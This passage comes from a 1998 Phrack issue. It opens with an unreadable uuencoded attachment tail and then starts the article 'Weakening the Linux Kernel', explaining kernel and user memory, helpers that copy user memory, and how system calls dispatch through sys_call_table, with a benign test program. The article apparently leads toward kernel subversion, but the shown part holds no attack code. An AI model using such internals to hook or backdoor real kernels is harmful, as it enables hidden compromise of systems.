M;_U7/WSJ!_2&B'<AEK]Z'1%OF[O]#P:@T_S"GH<'X?81O-T/MT/#&#J10,A_
|
||
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
|
||
%]0`@`P`Q
|
||
`
|
||
end
|
||
<-->
|
||
----[ EOF
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 18 of 20
|
||
|
||
|
||
-------------------------[ Weakening the Linux Kernel
|
||
|
||
|
||
--------[ plaguez <dube0866@eurobretagne.fr>
|
||
|
||
|
||
|
||
|
||
----[ Preamble
|
||
|
||
|
||
The following applies to the Linux x86 2.0.x kernel series. It may also be
|
||
accurate for previous releases, but has not been tested. 2.1.x kernels
|
||
introduced a bunch of changes, most notably in the memory management routines,
|
||
and are not discussed here.
|
||
|
||
Thanks to Halflife and Solar Designer for lots of neat ideas. Brought to you
|
||
by plaguez and WSD.
|
||
|
||
|
||
----[ User space vs. Kernel space
|
||
|
||
Linux supports a number of architectures, however most of the code and
|
||
discussion in this article refers to the i386 version only.
|
||
|
||
Memory is divided into two parts: kernel space and user space. Kernel space
|
||
is defined in the GDT, and mapped to each processes address space. User
|
||
space is in the LDT and is local to each process. A given program can't
|
||
write to kernel memory even when it is mapped because it is not in the
|
||
same ring.
|
||
|
||
You also can not access user memory from the kernel typically. However,
|
||
this is really easy to overcome. When we execute a system call, one
|
||
of the first things the kernel does is set ds and es up so that memory
|
||
references point to the kernel data segment. It then sets up fs so that
|
||
it points to the user data segment. If we want to use kernel memory
|
||
in a system call, all we should have to do is push fs, then set it to ds.
|
||
Of course, I have not actually tested this, so take it with a pound or
|
||
two of salt :).
|
||
|
||
Here are a few of the useful functions to use in kernel mode for transferring
|
||
data bytes to or from user memory:
|
||
|
||
#include <asm/segment.h>
|
||
|
||
get_user(ptr)
|
||
Gets the given byte, word, or long from user memory. This is a macro, and
|
||
it relies on the type of the argument to determine the number of bytes to
|
||
transfer. You then have to use typecasts wisely.
|
||
|
||
put_user(ptr)
|
||
This is the same as get_user(), but instead of reading, it writes data
|
||
bytes to user memory.
|
||
|
||
memcpy_fromfs(void *to, const void *from,unsigned long n)
|
||
Copies n bytes from *from in user memory to *to in kernel memory.
|
||
|
||
memcpy_tofs(void *to,const *from,unsigned long n)
|
||
Copies n bytes from *from in kernel memory to *to in user memory.
|
||
|
||
|
||
----[ System calls
|
||
|
||
|
||
Most libc function calls rely on underlying system calls, which are the
|
||
simplest kernel functions a user program can call. These system calls are
|
||
implemented in the kernel itself or in loadable kernel modules, which are
|
||
little chunks of dynamically linkable kernel code.
|
||
|
||
Like MS-DOS and many others, Linux system calls are implemented through a
|
||
multiplexor called with a given maskable interrupt. In Linux, this interrupt
|
||
is int 0x80. When the 'int 0x80' instruction is executed, control is given to
|
||
the kernel (or, more accurately, to the function _system_call()), and the
|
||
actual demultiplexing process occurs.
|
||
|
||
The _system_call() function works as follows:
|
||
|
||
First, all registers are saved and the content of the %eax register is checked
|
||
against the global system calls table, which enumerates all system calls and
|
||
their addresses. This table can be accessed with the extern void
|
||
*sys_call_table[] variable. A given number and memory address in this table
|
||
corresponds to each system call. System call numbers can be found in
|
||
/usr/include/sys/syscall.h. They are of the form SYS_systemcallname. If the
|
||
system call is not implemented, the corresponding cell in the sys_call_table
|
||
is 0, and an error is returned. Otherwise, the system call exists and the
|
||
corresponding entry in the table is the memory address of the system call code.
|
||
|
||
Here is an example of an invalid system call:
|
||
|
||
[root@plaguez kernel]# cat no1.c
|
||
#include <linux/errno.h>
|
||
#include <sys/syscall.h>
|
||
#include <errno.h>
|
||
|
||
extern void *sys_call_table[];
|
||
|
||
sc()
|
||
{ // system call number 165 doesn't exist at this time.
|
||
__asm__(
|
||
"movl $165,%eax
|
||
int $0x80");
|
||
}
|
||
|
||
main()
|
||
{
|
||
errno = -sc();
|
||
perror("test of invalid syscall");
|
||
}
|
||
[root@plaguez kernel]# gcc no1.c
|
||
[root@plaguez kernel]# ./a.out
|
||
test of invalid syscall: Function not implemented
|
||
[root@plaguez kernel]# exit
|
||
|
||
|
||
Normally, control is then transferred to the actual system call, which performs
|
||
whatever you requested and returns. _system_call() then calls
|
||
